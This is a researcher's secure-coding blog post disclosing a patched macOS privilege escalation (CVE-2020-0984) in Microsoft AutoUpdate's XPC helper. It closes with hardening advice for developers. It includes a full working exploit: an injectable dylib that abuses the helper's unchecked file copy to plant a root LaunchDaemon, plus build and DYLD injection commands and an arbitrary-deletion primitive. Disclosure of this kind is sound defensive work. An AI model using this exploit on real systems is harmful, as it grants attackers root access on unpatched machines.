Secure coding XPC Services - Part 3 - Incorrect client verification (CVE-2020-0984)

Microsoft AutoUpdate macOS privilege escalation vulnerability (CVE-2020-0984)

Introduction

This is the third post in my series which is trying to help Apple developers to avoid typical insecure coding practices. This one will highlight why XPC client hardening and proper verification is extremely important when we use XPC messaging on macOS between clients that run as a normal user and services that run as root. If this validation is not right, it opens up the possibility for an attacker to run privileged commands or worse case, achieve full privilege escalation on the system.

My earlier posts on the subject can be found here:

Secure coding XPC Services - Part 1 - Why EvenBetterAuthorization is not enough?

Secure coding XPC Services - Part 2 - Checking CS (CodeSigning) flags of the client

Microsoft AutoUpdate

Microsoft uses a privileged helper tool to update MS Office applications on macOS, called Microsoft AutoUpdate (MSAU). Privileged helper tools run as root, and these services are typically installed to perform specific tasks for the client application that would require privilege elevation otherwise. Since the introduction of XPC, these tools mostly utilize XPC as an IPC (Inter Process Communication). Almost 2 years ago (@CodeColorist) already found a local privilege escalation in this software which was a weakness in its XPC connection verification and one of the offered functions, here is the link to his writeup: CVE-2018–8412: MS Office 2016 for Mac Privilege Escalation via a Legacy Package. Although Microsoft patched the vulnerable XPC function installUpdateWithPackage, they introduced new functionality in later versions, and as the client verification still wasn’t fixed properly it introduced a new local privilege escalation vulnerability. This was patched by Microsoft at the 15th of April 2020, and assigned CVE-2020-0984. Unfortunately this is common theme that vendors don’t fix XPC vulnerabilities properly, and many time we can re-exploit them.

CVE-2020-0984 exploitation

When the MSAU privileged helper tool accepts a connection from a connecting client, it will perform the following signature check against it in its shouldAcceptNewConnection function:

"(identifier \"com.microsoft.autoupdate2\" or identifier \"com.microsoft.autoupdate.fba\" or identifier \"com.microsoft.autoupdate.cli\") and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] and certificate leaf[field.1.2.840.113635.100.6.1." and certificate leaf[subject.OU] = UBF8T346G9

This will check if:

  1. The connecting process is signed by Apple
  2. The connecting process is signed by Microsoft
  3. The connecting process is identified by one of the 3 bundle IDs we see above (com.microsoft.autoupdate2, com.microsoft.autoupdate.fba, com.microsoft.autoupdate.cli)

This is done right, but there is one very important piece missing, which is ensuring that the client is hardened against injection attacks. This can be done in 2 ways:

  1. If we know that our clients are signed with hardened runtime or library validation above version X, we need to verify if the connecting client is at least at version X.

  2. Verify the code signing flags of the client, it has to be signed either with library validation or hardened runtime.

Additionally to these checks, the client mustn’t hold the com.apple.security.cs.disable-library-validation entitlement, because that will allow 3rd party dylib injection. The com.apple.security.get-task-allow also must’t be present as that would allow injection via Mach task ports.

Lack of either of these verification means that if we can find an old version of the applications (with the same bundle ID), which doesn’t have hardened runtime or library validation enabled, then we can use that, inject our dylib into it, and we will be able to talk to the privilege helper tool, completely bypassing the verification, because the old client will also satisfy the certification requirements. Missing hardened runtime is typical for applications from the Mojave period or before as hardened runtime wasn’t mandatory and before Mojave it wasn’t even available.

After some search I found an old version of MSAU which satisfies our needs as it’s not hardened and also has one of the acceptable bundle IDs. It can be downloaded from here: Microsoft AutoUpdate (MAU) 3.14 Download - TechSpot. We can verify that with checking its code signing properties.

% codesign -dv Microsoft\ AutoUpdate.app
Executable=/Users/user/Downloads/Microsoft AutoUpdate.app/Contents/MacOS/Microsoft AutoUpdate
Identifier=com.microsoft.autoupdate2
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=5305 flags=0x0(none) hashes=160+3 location=embedded
Signature size=8930
Timestamp=2017. Nov 29. 13:05:09
Info.plist entries=32
TeamIdentifier=UBF8T346G9
Sealed Resources version=2 rules=13 files=307
Internal requirements count=1 size=188

We can see that it has one of the bundle IDs we need com.microsoft.autoupdate2 and also the same team ID the verification expects, UBF8T346G9.

Now that we can talk to the helper tool, with some reverse engineering we can check if it has any promising function. Running class-dump against the binary /Library/PrivilegedHelperTools/com.microsoft.autoupdate.helper reveals that its functionality has been extended since 2018, it has more interfaces available through XPC. The MAUHelperToolProtocol describe the available functions we can call.

@protocol MAUHelperToolProtocol <NSObject>
- (void)removeInstallLogFile:(NSString *)arg1;
- (void)logString:(NSString *)arg1 atLevel:(int)arg2 fromAppName:(NSString *)arg3;
- (void)removeClone:(NSString *)arg1 withReply:(void (^)(NSString *))arg2;
- (void)restoreCloneToAppInstallLocation:(NSString *)arg1 withClonePath:(NSString *)arg2 withReply:(void (^)(NSString *))arg3;
- (void)createCloneFromApp:(NSString *)arg1 withClonePath:(NSString *)arg2 withReply:(void (^)(NSString *))arg3;
- (void)installUpdateWithPackage:(NSString *)arg1 withXMLPath:(NSString *)arg2 withAppPath:(NSString *)arg3 withClonePath:(NSString *)arg4 withReply:(void (^)(NSString *))arg5;
@end

The createCloneFromApp sounded interesting, if we take a closer look, we will see that it simply copies the file passed into the location given without any further checks, and it uses the [NSFileManager copyItemAtPath] for this. We can use Hopper to decompile the function.

-(void)createCloneFromApp:(void *)arg2 withClonePath:(void *)arg3 withReply:(void *)arg4 {
    var_48 = [arg2 retain];
    r12 = [arg3 retain];
    rax = [arg4 retain];
    var_58 = r12;
    var_40 = rax;
    [self setErrorString:0x0];
    rax = [NSString stringWithFormat:@"createCloneFromApp appPath: %@, clonePath: %@", var_48, r12];
    rax = [rax retain];
    var_60 = rax;
    [self logString:rax atLevel:0x5 fromAppName:@"Helper Tool"];
    rax = [var_48 lastPathComponent];
    rax = [rax retain];
    r12 = [[var_58 stringByAppendingPathComponent:rax] retain];
    [rax release];
    var_50 = r12;
    r8 = r12;
    rax = [NSString stringWithFormat:@"Performing copyItemAtPath: %@ toPath: %@", var_48, r8];
    r12 = var_48;
    rax = [rax retain];
    var_38 = self;
    [self logString:rax atLevel:0x5 fromAppName:@"Helper Tool"];
    [rax release];
    r14 = var_40;
    rax = [NSFileManager defaultManager];
    rax = [rax retain];
    r13 = rax;
    [rax removeItemAtPath:var_50 error:0x0];
    var_78 = 0x0;
    rbx = [r13 copyItemAtPath:r12 toPath:var_50 error:r8];
    r15 = [var_78 retain];

If we can copy a file as root, with a source and destination we control, it’s a trivial privilege escalation on macOS (and normally also on any other OS as well). Our plan will be to copy a PLIST file into /Library/LaunchDaemons, which will contain a command to run a script upon startup. Any script/application run from this directory will run as root. Our exploit is a short NSXPC client code, that will invoke the createCloneFromApp method of the XPC service. As it’s a dylib, the code is placed into the constructor. The exploit will create a PLIST file in the location we need, and include a short shell script to create a file at /Library/msauexp.txt, where only root has write access.

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.microsoft.autoupdate.helper";

// The protocol that MSAU will vend as its XPC API.
@protocol MAUHelperToolProtocol <NSObject>
- (void)removeInstallLogFile:(NSString *)arg1;
- (void)logString:(NSString *)arg1 atLevel:(int)arg2 fromAppName:(NSString *)arg3;
- (void)removeClone:(NSString *)arg1 withReply:(void (^)(NSString *))arg2;
- (void)restoreCloneToAppInstallLocation:(NSString *)arg1 withClonePath:(NSString *)arg2 withReply:(void (^)(NSString *))arg3;
- (void)createCloneFromApp:(NSString *)arg1 withClonePath:(NSString *)arg2 withReply:(void (^)(NSString *))arg3;
- (void)installUpdateWithPackage:(NSString *)arg1 withXMLPath:(NSString *)arg2 withAppPath:(NSString *)arg3 withClonePath:(NSString *)arg4 withReply:(void (^)(NSString *))arg5;
@end

__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
{
        
		NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
		"<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
		"<plist version=\"1.0\">"
		"<dict>"
		"  <key>Label</key>"
		"  <string>com.sample.Load</string>"
		"  <key>ProgramArguments</key>"
		"  <array>"
		"	   <string>/bin/zsh</string>"
      "      <string>-c</string>"
      "      <string>touch /Library/msauexp.txt</string>"
		"  </array>"
		"	 <key>RunAtLoad</key>"
		"	 <true/>"
		"</dict>"
		"</plist>";
		
        [my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
		
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(MAUHelperToolProtocol)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] createCloneFromApp:@"/tmp/com.sample.Load.plist" withClonePath:@"/Library/LaunchDaemons/" withReply:^(NSString * err){
            NSLog(@"Reply, %@", err);
        }];
        NSLog(@"Done!");

    return;
}

Compile:

gcc -dynamiclib -framework Foundation mauexp.m -o mauexp.dylib

To run our exploit, we need to inject it into the old MSAU application.

DYLD_INSERT_LIBRARIES=mauexp.dylib ~/Downloads/Microsoft\ AutoUpdate.app/Contents/MacOS/Microsoft\ AutoUpdate`

Upon reboot our embedded script will be run, and eventually a file will be created at /Library/mauresult.txt.

removeClone - Arbitrary file deletion vulnerability

As we can talk to the privilege helper tool, we can also invoke its other functions. The function removeClone offers an arbitrary file deletion. We can pass in a filename, and that will be deleted, without any further checks.

/* @class MAUHelperTool */
-(void)removeClone:(void *)arg2 withReply:(void *)arg3 {
    r13 = self;
    r14 = [arg2 retain];
    r15 = [arg3 retain];
    [r13 setErrorString:0x0];
    rax = [NSFileManager defaultManager];
    rax = [rax retain];
    r12 = rax;
    if ([rax removeItemAtPath:r14 error:0x0] == 0x0) {
            [r13 setErrorString:@"Error removing clone"];
    }
    (*(r15 + 0x10))(r15, [r13 errorString]);
    [r12 release];
    [r15 release];
    [r14 release];
    return;
}

Secure coding best practice

  1. The client process verification in the shouldAcceptNewConnection call should verify the the following:

a. The connecting process is signed by Apple b. The connecting process is signed by your team ID c. The connecting process is identified by your bundle ID d. The connecting process has a minimum software version, where the fix has been implemented or it’s hardened against injection attacks.

For identifying the client at first place, the audit_token should be used instead of the PID, as the second is vulnerable to PID reuse attacks.

  1. Beyond that the client which is allowed to connect has to be compiled with hardened runtime or library validation, without possessing the following entitlements:
com.apple.security.cs.allow-dyld-environment-variables
com.apple.security.cs.disable-library-validation
com.apple.security.get-task-allow

as these entitlements would allow another process to inject code into the app, and thus allowing it to talk to the helper tool.

  1. Additionally the connecting client has to be identified by the audit token, and not by PID (process ID).

Unfortunately these days most of the 3rd party PrivilegedHelperTools tend to be vulnerable due to Apple not providing a good practice for developers. Beyond that many times, even the fixes are not properly done, as it’s very easy to miss any of the steps above. If you are a developer please spread the word, and if you are a security researcher, please also spread the word, and meanwhile profit via some bug bounties :)